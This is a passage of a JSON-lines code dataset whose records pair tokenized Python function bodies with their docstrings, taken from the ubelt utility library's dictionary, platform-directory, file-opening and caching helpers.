'spam', 'eggs']}", "id": "f5144:m1"}
{"signature": "def dict_hist(item_list, weight_list=None, ordered=False, labels=None):", "body": "if labels is None:<EOL><INDENT>hist_ = defaultdict(lambda: <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>hist_ = {k: <NUM_LIT:0> for k in labels}<EOL><DEDENT>if weight_list is None:<EOL><INDENT>weight_list = it.repeat(<NUM_LIT:1>)<EOL><DEDENT>for item, weight in zip(item_list, weight_list):<EOL><INDENT>hist_[item] += weight<EOL><DEDENT>if ordered:<EOL><INDENT>getval = op.itemgetter(<NUM_LIT:1>)<EOL>hist = OrderedDict([<EOL>(key, value)<EOL>for (key, value) in sorted(hist_.items(), key=getval)<EOL>])<EOL><DEDENT>else:<EOL><INDENT>hist = dict(hist_)<EOL><DEDENT>return hist<EOL>", "docstring": "Builds a histogram of items, counting the number of time each item appears\nin the input.\n\nArgs:\n    item_list (Iterable): hashable items (usually containing duplicates)\n    weight_list (Iterable): corresponding weights for each item\n    ordered (bool): if True the result is ordered by frequency\n    labels (Iterable, optional): expected labels (default None)\n        Allows this function to pre-initialize the histogram.\n        If specified the frequency of each label is initialized to\n        zero and item_list can only contain items specified in labels.\n\nReturns:\n    dict : dictionary where the keys are items in item_list, and the values\n      are the number of times the item appears in item_list.\n\nCommandLine:\n    python -m ubelt.util_dict dict_hist\n\nExample:\n    >>> import ubelt as ub\n    >>> item_list = [1, 2, 39, 900, 1232, 900, 1232, 2, 2, 2, 900]\n    >>> hist = ub.dict_hist(item_list)\n    >>> print(ub.repr2(hist, nl=0))\n    {1: 1, 2: 4, 39: 1, 900: 3, 1232: 2}\n\nExample:\n    >>> import ubelt as ub\n    >>> item_list = [1, 2, 39, 900, 1232, 900, 1232, 2, 2, 2, 900]\n    >>> hist1 = ub.dict_hist(item_list)\n    >>> hist2 = ub.dict_hist(item_list, ordered=True)\n    >>> try:\n    >>>     hist3 = ub.dict_hist(item_list, labels=[])\n    >>> except KeyError:\n    >>>     pass\n    >>> else:\n    >>>     raise AssertionError('expected key error')\n    >>> #result = ub.repr2(hist_)\n    >>> weight_list = [1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1]\n    >>> hist4 = ub.dict_hist(item_list, weight_list=weight_list)\n    >>> print(ub.repr2(hist1, nl=0))\n    {1: 1, 2: 4, 39: 1, 900: 3, 1232: 2}\n    >>> print(ub.repr2(hist4, nl=0))\n    {1: 1, 2: 4, 39: 1, 900: 1, 1232: 0}", "id": "f5144:m2"}
{"signature": "def find_duplicates(items, k=<NUM_LIT:2>, key=None):", "body": "<EOL>duplicates = defaultdict(list)<EOL>if key is None:<EOL><INDENT>for count, item in enumerate(items):<EOL><INDENT>duplicates[item].append(count)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for count, item in enumerate(items):<EOL><INDENT>duplicates[key(item)].append(count)<EOL><DEDENT><DEDENT>for key in list(duplicates.keys()):<EOL><INDENT>if len(duplicates[key]) < k:<EOL><INDENT>del duplicates[key]<EOL><DEDENT><DEDENT>duplicates = dict(duplicates)<EOL>return duplicates<EOL>", "docstring": "Find all duplicate items in a list.\n\nSearch for all items that appear more than `k` times and return a mapping\nfrom each (k)-duplicate item to the positions it appeared in.\n\nArgs:\n    items (Iterable): hashable items possibly containing duplicates\n    k (int): only return items that appear at least `k` times (default=2)\n    key (Callable, optional): Returns indices where `key(items[i])`\n        maps to a particular value at least k times.\n\nReturns:\n    dict: maps each duplicate item to the indices at which it appears\n\nCommandLine:\n    python -m ubelt.util_dict find_duplicates\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [0, 0, 1, 2, 3, 3, 0, 12, 2, 9]\n    >>> duplicates = ub.find_duplicates(items)\n    >>> print('items = %r' % (items,))\n    >>> print('duplicates = %r' % (duplicates,))\n    >>> assert duplicates == {0: [0, 1, 6], 2: [3, 8], 3: [4, 5]}\n    >>> assert ub.find_duplicates(items, 3) == {0: [0, 1, 6]}\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [0, 0, 1, 2, 3, 3, 0, 12, 2, 9]\n    >>> # note: k can be 0\n    >>> duplicates = ub.find_duplicates(items, k=0)\n    >>> print(ub.repr2(duplicates, nl=0))\n    {0: [0, 1, 6], 1: [2], 2: [3, 8], 3: [4, 5], 9: [9], 12: [7]}\n\nExample:\n    >>> import ubelt as ub\n    >>> items = [10, 11, 12, 13, 14, 15, 16]\n    >>> duplicates = ub.find_duplicates(items, key=lambda x: x // 2)\n    >>> print(ub.repr2(duplicates, nl=0))\n    {5: [0, 1], 6: [2, 3], 7: [4, 5]}", "id": "f5144:m3"}
{"signature": "def dict_subset(dict_, keys, default=util_const.NoParam):", "body": "keys = list(keys)<EOL>items = dict_take(dict_, keys, default)<EOL>subdict_ = OrderedDict(list(zip(keys, items)))<EOL>return subdict_<EOL>", "docstring": "Get a subset of a dictionary\n\nArgs:\n    dict_ (Mapping): superset dictionary\n    keys (Iterable): keys to take from `dict_`\n    default (object, optional): if specified uses default if keys are missing\n\nReturns:\n    OrderedDict: subset dictionary\n\nSeeAlso:\n    dict_isect - similar functionality, but will only take existing keys\n\nExample:\n    >>> import ubelt as ub\n    >>> dict_ = {'K': 3, 'dcvs_clip_max': 0.2, 'p': 0.1}\n    >>> keys = ['K', 'dcvs_clip_max']\n    >>> subdict_ = ub.dict_subset(dict_, keys)\n    >>> print(ub.repr2(subdict_, nl=0))\n    {'K': 3, 'dcvs_clip_max': 0.2}", "id": "f5144:m4"}
{"signature": "def dict_take(dict_, keys, default=util_const.NoParam):", "body": "if default is util_const.NoParam:<EOL><INDENT>for key in keys:<EOL><INDENT>yield dict_[key]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for key in keys:<EOL><INDENT>yield dict_.get(key, default)<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"\n    Generates values from a dictionary\n\n    Args:\n        dict_ (Mapping): a dictionary to take from\n        keys (Iterable): the keys to take\n        default (object, optional): if specified uses default if keys are missing\n\n    CommandLine:\n        python -m ubelt.util_dict dict_take_gen\n\n    Example:\n        >>> import ubelt as ub\n        >>> dict_ = {1: 'a', 2: 'b', 3: 'c'}\n        >>> keys = [1, 2, 3, 4, 5]\n        >>> result = list(ub.dict_take(dict_, keys, None))\n        >>> assert result == ['a', 'b', 'c', None, None]\n\n    Example:\n        >>> import ubelt as ub\n        >>> dict_ = {1: 'a', 2: 'b', 3: 'c'}\n        >>> keys = [1, 2, 3, 4, 5]\n        >>> try:\n        >>>     print(list(ub.dict_take(dict_, keys)))\n        >>>     raise AssertionError('did not get key error')\n        >>> except KeyError:\n        >>>     print('correctly got key error')", "id": "f5144:m5"}
{"signature": "def dict_union(*args):", "body": "if not args:<EOL><INDENT>return {}<EOL><DEDENT>else:<EOL><INDENT>dictclass = OrderedDict if isinstance(args[<NUM_LIT:0>], OrderedDict) else dict<EOL>return dictclass(it.chain.from_iterable(d.items() for d in args))<EOL><DEDENT>", "docstring": "Combines the disjoint keys in multiple dictionaries. For intersecting keys,\ndictionaries towards the end of the sequence are given precedence.\n\nArgs:\n    *args : a sequence of dictionaries\n\nReturns:\n    Dict | OrderedDict :\n        OrderedDict if the first argument is an OrderedDict, otherwise dict\n\nSeeAlso:\n    collections.ChainMap - a standard python builtin data structure that\n        provides a view that treats multiple dicts as a single dict.\n        https://docs.python.org/3/library/collections.html#chainmap-objects\n\nExample:\n    >>> result = dict_union({'a': 1, 'b': 1}, {'b': 2, 'c': 2})\n    >>> assert result == {'a': 1, 'b': 2, 'c': 2}\n    >>> dict_union(odict([('a', 1), ('b', 2)]), odict([('c', 3), ('d', 4)]))\n    OrderedDict([('a', 1), ('b', 2), ('c', 3), ('d', 4)])\n    >>> dict_union()\n    {}", "id": "f5144:m6"}
{"signature": "def dict_isect(*args):", "body": "if not args:<EOL><INDENT>return {}<EOL><DEDENT>else:<EOL><INDENT>dictclass = OrderedDict if isinstance(args[<NUM_LIT:0>], OrderedDict) else dict<EOL>common_keys = set.intersection(*map(set, args))<EOL>first_dict = args[<NUM_LIT:0>]<EOL>return dictclass((k, first_dict[k]) for k in common_keys)<EOL><DEDENT>", "docstring": "Constructs a dictionary that contains keys common between all inputs.\nThe returned values will only belong to the first dictionary.\n\nArgs:\n    *args : a sequence of dictionaries (or sets of keys)\n\nReturns:\n    Dict | OrderedDict :\n        OrderedDict if the first argument is an OrderedDict, otherwise dict\n\nNotes:\n    This function can be used as an alternative to `dict_subset` where any\n    key not in the dictionary is ignored. See the following example:\n\n    >>> dict_isect({'a': 1, 'b': 2, 'c': 3}, ['a', 'c', 'd'])\n    {'a': 1, 'c': 3}\n\nExample:\n    >>> dict_isect({'a': 1, 'b': 1}, {'b': 2, 'c': 2})\n    {'b': 1}\n    >>> dict_isect(odict([('a', 1), ('b', 2)]), odict([('c', 3)]))\n    OrderedDict()\n    >>> dict_isect()\n    {}", "id": "f5144:m7"}
{"signature": "def map_vals(func, dict_):", "body": "if not hasattr(func, '<STR_LIT>'):<EOL><INDENT>func = func.__getitem__<EOL><DEDENT>keyval_list = [(key, func(val)) for key, val in six.iteritems(dict_)]<EOL>dictclass = OrderedDict if isinstance(dict_, OrderedDict) else dict<EOL>newdict = dictclass(keyval_list)<EOL>return newdict<EOL>", "docstring": "applies a function to each of the keys in a dictionary\n\nArgs:\n    func (callable): a function or indexable object\n    dict_ (dict): a dictionary\n\nReturns:\n    newdict: transformed dictionary\n\nCommandLine:\n    python -m ubelt.util_dict map_vals\n\nExample:\n    >>> import ubelt as ub\n    >>> dict_ = {'a': [1, 2, 3], 'b': []}\n    >>> func = len\n    >>> newdict = ub.map_vals(func, dict_)\n    >>> assert newdict ==  {'a': 3, 'b': 0}\n    >>> print(newdict)\n    >>> # Can also use indexables as `func`\n    >>> dict_ = {'a': 0, 'b': 1}\n    >>> func = [42, 21]\n    >>> newdict = ub.map_vals(func, dict_)\n    >>> assert newdict ==  {'a': 42, 'b': 21}\n    >>> print(newdict)", "id": "f5144:m8"}
{"signature": "def map_keys(func, dict_):", "body": "if not hasattr(func, '<STR_LIT>'):<EOL><INDENT>func = func.__getitem__<EOL><DEDENT>keyval_list = [(func(key), val) for key, val in six.iteritems(dict_)]<EOL>dictclass = OrderedDict if isinstance(dict_, OrderedDict) else dict<EOL>newdict = dictclass(keyval_list)<EOL>assert len(newdict) == len(dict_), (<EOL>'<STR_LIT>')<EOL>return newdict<EOL>", "docstring": "r\"\"\"\n    applies a function to each of the keys in a dictionary\n\n    Args:\n        func (callable): a function or indexable object\n        dict_ (dict): a dictionary\n\n    Returns:\n        newdict: transformed dictionary\n\n    CommandLine:\n        python -m ubelt.util_dict map_keys\n\n    Example:\n        >>> import ubelt as ub\n        >>> dict_ = {'a': [1, 2, 3], 'b': []}\n        >>> func = ord\n        >>> newdict = ub.map_keys(func, dict_)\n        >>> print(newdict)\n        >>> assert newdict == {97: [1, 2, 3], 98: []}\n        >>> #ut.assert_raises(AssertionError, map_keys, len, dict_)\n        >>> dict_ = {0: [1, 2, 3], 1: []}\n        >>> func = ['a', 'b']\n        >>> newdict = ub.map_keys(func, dict_)\n        >>> print(newdict)\n        >>> assert newdict == {'a': [1, 2, 3], 'b': []}\n        >>> #ut.assert_raises(AssertionError, map_keys, len, dict_)", "id": "f5144:m9"}
{"signature": "def invert_dict(dict_, unique_vals=True):", "body": "if unique_vals:<EOL><INDENT>if isinstance(dict_, OrderedDict):<EOL><INDENT>inverted = OrderedDict((val, key) for key, val in dict_.items())<EOL><DEDENT>else:<EOL><INDENT>inverted = {val: key for key, val in dict_.items()}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>inverted = defaultdict(set)<EOL>for key, value in dict_.items():<EOL><INDENT>inverted[value].add(key)<EOL><DEDENT>inverted = dict(inverted)<EOL><DEDENT>return inverted<EOL>", "docstring": "r\"\"\"\n    Swaps the keys and values in a dictionary.\n\n    Args:\n        dict_ (dict): dictionary to invert\n        unique_vals (bool): if False, inverted keys are returned in a set.\n            The default is True.\n\n    Returns:\n        dict: inverted\n\n    Notes:\n        The must values be hashable.\n\n        If the original dictionary contains duplicate values, then only one of\n        the corresponding keys will be returned and the others will be\n        discarded.  This can be prevented by setting `unique_vals=True`,\n        causing the inverted keys to be returned in a set.\n\n    CommandLine:\n        python -m ubelt.util_dict invert_dict\n\n    Example:\n        >>> import ubelt as ub\n        >>> dict_ = {'a': 1, 'b': 2}\n        >>> inverted = ub.invert_dict(dict_)\n        >>> assert inverted == {1: 'a', 2: 'b'}\n\n    Example:\n        >>> import ubelt as ub\n        >>> dict_ = ub.odict([(2, 'a'), (1, 'b'), (0, 'c'), (None, 'd')])\n        >>> inverted = ub.invert_dict(dict_)\n        >>> assert list(inverted.keys())[0] == 'a'\n\n    Example:\n        >>> import ubelt as ub\n        >>> dict_ = {'a': 1, 'b': 0, 'c': 0, 'd': 0, 'f': 2}\n        >>> inverted = ub.invert_dict(dict_, unique_vals=False)\n        >>> assert inverted == {0: {'b', 'c', 'd'}, 1: {'a'}, 2: {'f'}}", "id": "f5144:m10"}
{"signature": "def to_dict(self):", "body": "return self._base(<EOL>(key, (value.to_dict() if isinstance(value, AutoDict) else value))<EOL>for key, value in self.items())<EOL>", "docstring": "Recursively casts a AutoDict into a regular dictionary. All nested\nAutoDict values are also converted.\n\nReturns:\n    dict: a copy of this dict without autovivification\n\nExample:\n    >>> from ubelt.util_dict import AutoDict\n    >>> auto = AutoDict()\n    >>> auto[1] = 1\n    >>> auto['n1'] = AutoDict()\n    >>> static = auto.to_dict()\n    >>> assert not isinstance(static, AutoDict)\n    >>> assert not isinstance(static['n1'], AutoDict)", "id": "f5144:c0:m1"}
{"signature": "def platform_data_dir():", "body": "if LINUX:  <EOL><INDENT>dpath_ = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>elif DARWIN:  <EOL><INDENT>dpath_  = '<STR_LIT>'<EOL><DEDENT>elif WIN32:  <EOL><INDENT>dpath_ = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:  <EOL><INDENT>raise '<STR_LIT>'<EOL><DEDENT>dpath = normpath(expanduser(dpath_))<EOL>return dpath<EOL>", "docstring": "Returns path for user-specific data files\n\nReturns:\n    PathLike : path to the data dir used by the current operating system", "id": "f5145:m0"}
{"signature": "def platform_config_dir():", "body": "if LINUX:  <EOL><INDENT>dpath_ = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>elif DARWIN:  <EOL><INDENT>dpath_  = '<STR_LIT>'<EOL><DEDENT>elif WIN32:  <EOL><INDENT>dpath_ = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:  <EOL><INDENT>raise NotImplementedError('<STR_LIT>' % (sys.platform,))<EOL><DEDENT>dpath = normpath(expanduser(dpath_))<EOL>return dpath<EOL>", "docstring": "Returns a directory which should be writable for any application\nThis should be used for persistent configuration files.\n\nReturns:\n    PathLike : path to the cahce dir used by the current operating system", "id": "f5145:m1"}
{"signature": "def platform_cache_dir():", "body": "if LINUX:  <EOL><INDENT>dpath_ = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>elif DARWIN:  <EOL><INDENT>dpath_  = '<STR_LIT>'<EOL><DEDENT>elif WIN32:  <EOL><INDENT>dpath_ = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:  <EOL><INDENT>raise NotImplementedError('<STR_LIT>' % (sys.platform,))<EOL><DEDENT>dpath = normpath(expanduser(dpath_))<EOL>return dpath<EOL>", "docstring": "Returns a directory which should be writable for any application\nThis should be used for temporary deletable data.\n\nReturns:\n    PathLike : path to the cache dir used by the current operating system", "id": "f5145:m2"}
{"signature": "def get_app_data_dir(appname, *args):", "body": "dpath = join(platform_data_dir(), appname, *args)<EOL>return dpath<EOL>", "docstring": "r\"\"\"\n    Returns a writable directory for an application.\n    This should be used for temporary deletable data.\n\n    Args:\n        appname (str): the name of the application\n        *args: any other subdirectories may be specified\n\n    Returns:\n        PathLike: dpath: writable data directory for this application\n\n    SeeAlso:\n        ensure_app_data_dir", "id": "f5145:m3"}
{"signature": "def ensure_app_data_dir(appname, *args):", "body": "from ubelt import util_path<EOL>dpath = get_app_data_dir(appname, *args)<EOL>util_path.ensuredir(dpath)<EOL>return dpath<EOL>", "docstring": "Calls `get_app_data_dir` but ensures the directory exists.\n\nArgs:\n    appname (str): the name of the application\n    *args: any other subdirectories may be specified\n\nSeeAlso:\n    get_app_data_dir\n\nExample:\n    >>> import ubelt as ub\n    >>> dpath = ub.ensure_app_data_dir('ubelt')\n    >>> assert exists(dpath)", "id": "f5145:m4"}
{"signature": "def get_app_config_dir(appname, *args):", "body": "dpath = join(platform_config_dir(), appname, *args)<EOL>return dpath<EOL>", "docstring": "r\"\"\"\n    Returns a writable directory for an application\n    This should be used for persistent configuration files.\n\n    Args:\n        appname (str): the name of the application\n        *args: any other subdirectories may be specified\n\n    Returns:\n        PathLike: dpath: writable config directory for this application\n\n    SeeAlso:\n        ensure_app_config_dir", "id": "f5145:m5"}
{"signature": "def ensure_app_config_dir(appname, *args):", "body": "from ubelt import util_path<EOL>dpath = get_app_config_dir(appname, *args)<EOL>util_path.ensuredir(dpath)<EOL>return dpath<EOL>", "docstring": "Calls `get_app_config_dir` but ensures the directory exists.\n\nArgs:\n    appname (str): the name of the application\n    *args: any other subdirectories may be specified\n\nSeeAlso:\n    get_app_config_dir\n\nExample:\n    >>> import ubelt as ub\n    >>> dpath = ub.ensure_app_config_dir('ubelt')\n    >>> assert exists(dpath)", "id": "f5145:m6"}
{"signature": "def get_app_cache_dir(appname, *args):", "body": "dpath = join(platform_cache_dir(), appname, *args)<EOL>return dpath<EOL>", "docstring": "r\"\"\"\n    Returns a writable directory for an application.\n    This should be used for temporary deletable data.\n\n    Args:\n        appname (str): the name of the application\n        *args: any other subdirectories may be specified\n\n    Returns:\n        PathLike: dpath: writable cache directory for this application\n\n    SeeAlso:\n        ensure_app_cache_dir", "id": "f5145:m7"}
{"signature": "def ensure_app_cache_dir(appname, *args):", "body": "from ubelt import util_path<EOL>dpath = get_app_cache_dir(appname, *args)<EOL>util_path.ensuredir(dpath)<EOL>return dpath<EOL>", "docstring": "Calls `get_app_cache_dir` but ensures the directory exists.\n\nArgs:\n    appname (str): the name of the application\n    *args: any other subdirectories may be specified\n\nSeeAlso:\n    get_app_cache_dir\n\nExample:\n    >>> import ubelt as ub\n    >>> dpath = ub.ensure_app_cache_dir('ubelt')\n    >>> assert exists(dpath)", "id": "f5145:m8"}
{"signature": "def startfile(fpath, verbose=True):  ", "body": "from ubelt import util_cmd<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(fpath))<EOL><DEDENT>fpath = normpath(fpath)<EOL>if not exists(fpath):<EOL><INDENT>raise Exception('<STR_LIT>' % fpath)<EOL><DEDENT>if not WIN32:<EOL><INDENT>import pipes<EOL>fpath = pipes.quote(fpath)<EOL><DEDENT>if LINUX:<EOL><INDENT>info = util_cmd.cmd(('<STR_LIT>', fpath), detach=True, verbose=verbose)<EOL><DEDENT>elif DARWIN:<EOL><INDENT>info = util_cmd.cmd(('<STR_LIT>', fpath), detach=True, verbose=verbose)<EOL><DEDENT>elif WIN32:<EOL><INDENT>os.startfile(fpath)<EOL>info = None<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if info is not None:<EOL><INDENT>if not info['<STR_LIT>']:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Uses default program defined by the system to open a file.\nThis is done via `os.startfile` on windows, `open` on mac, and `xdg-open`\non linux.\n\nArgs:\n    fpath (PathLike): a file to open using the program associated with the\n        files extension type.\n    verbose (int): verbosity\n\nReferences:\n    http://stackoverflow.com/questions/2692873/quote-posix\n\nDisableExample:\n    >>> # This test interacts with a GUI frontend, not sure how to test.\n    >>> import ubelt as ub\n    >>> base = ub.ensure_app_cache_dir('ubelt')\n    >>> fpath1 = join(base, 'test_open.txt')\n    >>> ub.touch(fpath1)\n    >>> proc = ub.startfile(fpath1)", "id": "f5145:m9"}
{"signature": "def find_exe(name, multi=False, path=None):", "body": "candidates = find_path(name, path=path, exact=True)<EOL>mode = os.X_OK | os.F_OK<EOL>results = (fpath for fpath in candidates<EOL>if os.access(fpath, mode) and not isdir(fpath))<EOL>if not multi:<EOL><INDENT>for fpath in results:<EOL><INDENT>return fpath<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return list(results)<EOL><DEDENT>", "docstring": "Locate a command.\n\nSearch your local filesystem for an executable and return the first\nmatching file with executable permission.\n\nArgs:\n    name (str): globstr of matching filename\n\n    multi (bool): if True return all matches instead of just the first.\n        Defaults to False.\n\n    path (str or Iterable[PathLike]): overrides the system PATH variable.\n\nReturns:\n    PathLike or List[PathLike] or None: returns matching executable(s).\n\nSeeAlso:\n    shutil.which - which is available in Python 3.3+.\n\nNotes:\n    This is essentially the `which` UNIX command\n\nReferences:\n    https://stackoverflow.com/questions/377017/test-if-executable-exists-in-python/377028#377028\n    https://docs.python.org/dev/library/shutil.html#shutil.which\n\nExample:\n    >>> find_exe('ls')\n    >>> find_exe('ping')\n    >>> assert find_exe('which') == find_exe(find_exe('which'))\n    >>> find_exe('which', multi=True)\n    >>> find_exe('ping', multi=True)\n    >>> find_exe('cmake', multi=True)\n    >>> find_exe('nvcc', multi=True)\n    >>> find_exe('noexist', multi=True)\n\nExample:\n    >>> assert not find_exe('noexist', multi=False)\n    >>> assert find_exe('ping', multi=False)\n    >>> assert not find_exe('noexist', multi=True)\n    >>> assert find_exe('ping', multi=True)\n\nBenchmark:\n    >>> # xdoctest: +IGNORE_WANT\n    >>> import ubelt as ub\n    >>> import shutil\n    >>> for timer in ub.Timerit(100, bestof=10, label='ub.find_exe'):\n    >>>     ub.find_exe('which')\n    >>> for timer in ub.Timerit(100, bestof=10, label='shutil.which'):\n    >>>     shutil.which('which')\n    Timed best=58.71 \u00b5s, mean=59.64 \u00b1 0.96 \u00b5s for ub.find_exe\n    Timed best=72.75 \u00b5s, mean=73.07 \u00b1 0.22 \u00b5s for shutil.which", "id": "f5145:m10"}
{"signature": "def find_path(name, path=None, exact=False):", "body": "path = os.environ.get('<STR_LIT>', os.defpath) if path is None else path<EOL>dpaths = path.split(os.pathsep) if isinstance(path, six.string_types) else path<EOL>candidates = (join(dpath, name) for dpath in dpaths)<EOL>if exact:<EOL><INDENT>if WIN32:  <EOL><INDENT>pathext = ['<STR_LIT>'] + os.environ.get('<STR_LIT>', '<STR_LIT>').split(os.pathsep)<EOL>candidates = (p + ext for p in candidates for ext in pathext)<EOL><DEDENT>candidates = filter(exists, candidates)<EOL><DEDENT>else:<EOL><INDENT>import glob<EOL>candidates = it.chain.from_iterable(<EOL>glob.glob(pattern) for pattern in candidates)<EOL><DEDENT>return candidates<EOL>", "docstring": "Search for a file or directory on your local filesystem by name\n(file must be in a directory specified in a PATH environment variable)\n\nArgs:\n    fname (PathLike or str): file name to match.\n        If exact is False this may be a glob pattern\n\n    path (str or Iterable[PathLike]): list of directories to search either\n        specified as an os.pathsep separated string or a list of\n        directories.  Defaults to environment PATH.\n\n    exact (bool): if True, only returns exact matches. Default False.\n\nNotes:\n    For recursive behavior set `path=(d for d, _, _ in os.walk('.'))`,\n    where '.' might be replaced by the root directory of interest.\n\nExample:\n    >>> list(find_path('ping', exact=True))\n    >>> list(find_path('bin'))\n    >>> list(find_path('bin'))\n    >>> list(find_path('*cc*'))\n    >>> list(find_path('cmake*'))\n\nExample:\n    >>> import ubelt as ub\n    >>> from os.path import dirname\n    >>> path = dirname(dirname(ub.util_platform.__file__))\n    >>> res = sorted(find_path('ubelt/util_*.py', path=path))\n    >>> assert len(res) >= 10\n    >>> res = sorted(find_path('ubelt/util_platform.py', path=path, exact=True))\n    >>> print(res)\n    >>> assert len(res) == 1", "id": "f5145:m11"}
{"signature": "def editfile(fpath, verbose=True):  ", "body": "from six import types<EOL>from ubelt import util_cmd<EOL>import warnings<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>if not isinstance(fpath, six.string_types):<EOL><INDENT>if isinstance(fpath, types.ModuleType):<EOL><INDENT>fpath = fpath.__file__<EOL><DEDENT>else:<EOL><INDENT>fpath =  sys.modules[fpath.__module__].__file__<EOL><DEDENT>fpath_py = fpath.replace('<STR_LIT>', '<STR_LIT>')<EOL>if exists(fpath_py):<EOL><INDENT>fpath = fpath_py<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(fpath))<EOL><DEDENT>editor = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>if not exists(fpath):<EOL><INDENT>raise IOError('<STR_LIT>' % fpath)<EOL><DEDENT>util_cmd.cmd([editor, fpath], fpath, detach=True)<EOL>", "docstring": "DEPRICATED: This has been ported to xdev, please use that version.\n\nOpens a file or code corresponding to a live python object in your\npreferred visual editor. This function is mainly useful in an interactive\nIPython session.\n\nThe visual editor is determined by the `VISUAL` environment variable.  If\nthis is not specified it defaults to gvim.\n\nArgs:\n    fpath (PathLike): a file path or python module / function\n    verbose (int): verbosity\n\nDisableExample:\n    >>> # This test interacts with a GUI frontend, not sure how to test.\n    >>> import ubelt as ub\n    >>> ub.editfile(ub.util_platform.__file__)\n    >>> ub.editfile(ub)\n    >>> ub.editfile(ub.editfile)", "id": "f5145:m12"}
{"signature": "def platform_resource_dir():  ", "body": "return platform_cache_dir()<EOL>", "docstring": "Alias for platform_cache_dir\n\nDEPRICATED in favor of platform_config_dir / platform_data_dir\n\nReturns a directory which should be writable for any application\nThis should be used for persistent configuration files.\n\nReturns:\n    PathLike : path to the resource dir used by the current operating system", "id": "f5145:m13"}
{"signature": "def get_app_resource_dir(appname, *args):  ", "body": "return get_app_cache_dir(appname, *args)<EOL>", "docstring": "r\"\"\"\n    Returns a writable directory for an application\n    This should be used for persistent configuration files.\n\n    DEPRICATED in favor of get_app_config_dir / get_app_data_dir\n\n    Args:\n        appname (str): the name of the application\n        *args: any other subdirectories may be specified\n\n    Returns:\n        PathLike: dpath: writable resource directory for this application\n\n    SeeAlso:\n        ensure_app_resource_dir", "id": "f5145:m14"}
{"signature": "def ensure_app_resource_dir(appname, *args):  ", "body": "return ensure_app_cache_dir(appname, *args)<EOL>", "docstring": "Calls `get_app_resource_dir` but ensures the directory exists.\n\nDEPRICATED in favor of ensure_app_config_dir / ensure_app_data_dir\n\nArgs:\n    appname (str): the name of the application\n    *args: any other subdirectories may be specified\n\nSeeAlso:\n    get_app_resource_dir", "id": "f5145:m15"}
{"signature": "def identity(arg):", "body": "return arg<EOL>", "docstring": "The identity function. Simply returns its inputs.\n\nArgs:\n    arg (object): some value\n\nReturns:\n    object: arg: the same value\n\nExample:\n    >>> assert identity(42) == 42", "id": "f5146:m0"}
{"signature": "def inject_method(self, func, name=None):", "body": "<EOL>new_method = func.__get__(self, self.__class__)<EOL>if name is None:<EOL><INDENT>name = func.__name__<EOL><DEDENT>setattr(self, name, new_method)<EOL>", "docstring": "Injects a function into an object instance as a bound method\n\nThe main use case of this function is for monkey patching. While monkey\npatching is sometimes necessary it should generally be avoided. Thus, we\nsimply remind the developer that there might be a better way.\n\nArgs:\n    self (object): instance to inject a function into\n    func (func): the function to inject (must contain an arg for self)\n    name (str): name of the method. optional. If not specified the name\n        of the function is used.\n\nExample:\n    >>> class Foo(object):\n    >>>     def bar(self):\n    >>>         return 'bar'\n    >>> def baz(self):\n    >>>     return 'baz'\n    >>> self = Foo()\n    >>> assert self.bar() == 'bar'\n    >>> assert not hasattr(self, 'baz')\n    >>> inject_method(self, baz)\n    >>> assert not hasattr(Foo, 'baz'), 'should only change one instance'\n    >>> assert self.baz() == 'baz'\n    >>> inject_method(self, baz, 'bar')\n    >>> assert self.bar() == 'baz'", "id": "f5146:m1"}
{"signature": "def get_fpath(self, cfgstr=None):", "body": "condensed = self._condense_cfgstr(cfgstr)<EOL>fname_cfgstr = '<STR_LIT>'.format(self.fname, condensed, self.ext)<EOL>fpath = join(self.dpath, fname_cfgstr)<EOL>fpath = normpath(fpath)<EOL>return fpath<EOL>", "docstring": "Reports the filepath that the cacher will use.\nIt will attempt to use '{fname}_{cfgstr}{ext}' unless that is too long.\nThen cfgstr will be hashed.\n\nExample:\n    >>> from ubelt.util_cache import Cacher\n    >>> import pytest\n    >>> with pytest.warns(UserWarning):\n    >>>     cacher = Cacher('test_cacher1')\n    >>>     cacher.get_fpath()\n    >>> self = Cacher('test_cacher2', cfgstr='cfg1')\n    >>> self.get_fpath()\n    >>> self = Cacher('test_cacher3', cfgstr='cfg1' * 32)\n    >>> self.get_fpath()", "id": "f5147:c0:m3"}
{"signature": "def exists(self, cfgstr=None):", "body": "return exists(self.get_fpath())<EOL>", "docstring": "Check to see if the cache exists", "id": "f5147:c0:m4"}
{"signature": "def existing_versions(self):", "body": "import glob<EOL>pattern = join(self.dpath, self.fname + '<STR_LIT>' + self.ext)<EOL>for fname in glob.iglob(pattern):<EOL><INDENT>data_fpath = join(self.dpath, fname)<EOL>yield data_fpath<EOL><DEDENT>", "docstring": "Returns data with different cfgstr values that were previously computed\nwith this cacher.\n\nExample:\n    >>> from ubelt.util_cache import Cacher\n    >>> # Ensure that some data exists\n    >>> known_fnames = set()\n    >>> cacher = Cacher('versioned_data', cfgstr='1')\n    >>> cacher.ensure(lambda: 'data1')\n    >>> known_fnames.add(cacher.get_fpath())\n    >>> cacher = Cacher('versioned_data', cfgstr='2')\n    >>> cacher.ensure(lambda: 'data2')\n    >>> known_fnames.add(cacher.get_fpath())\n    >>> # List previously computed configs for this type\n    >>> from os.path import basename\n    >>> cacher = Cacher('versioned_data', cfgstr='2')\n    >>> exist_fpaths = 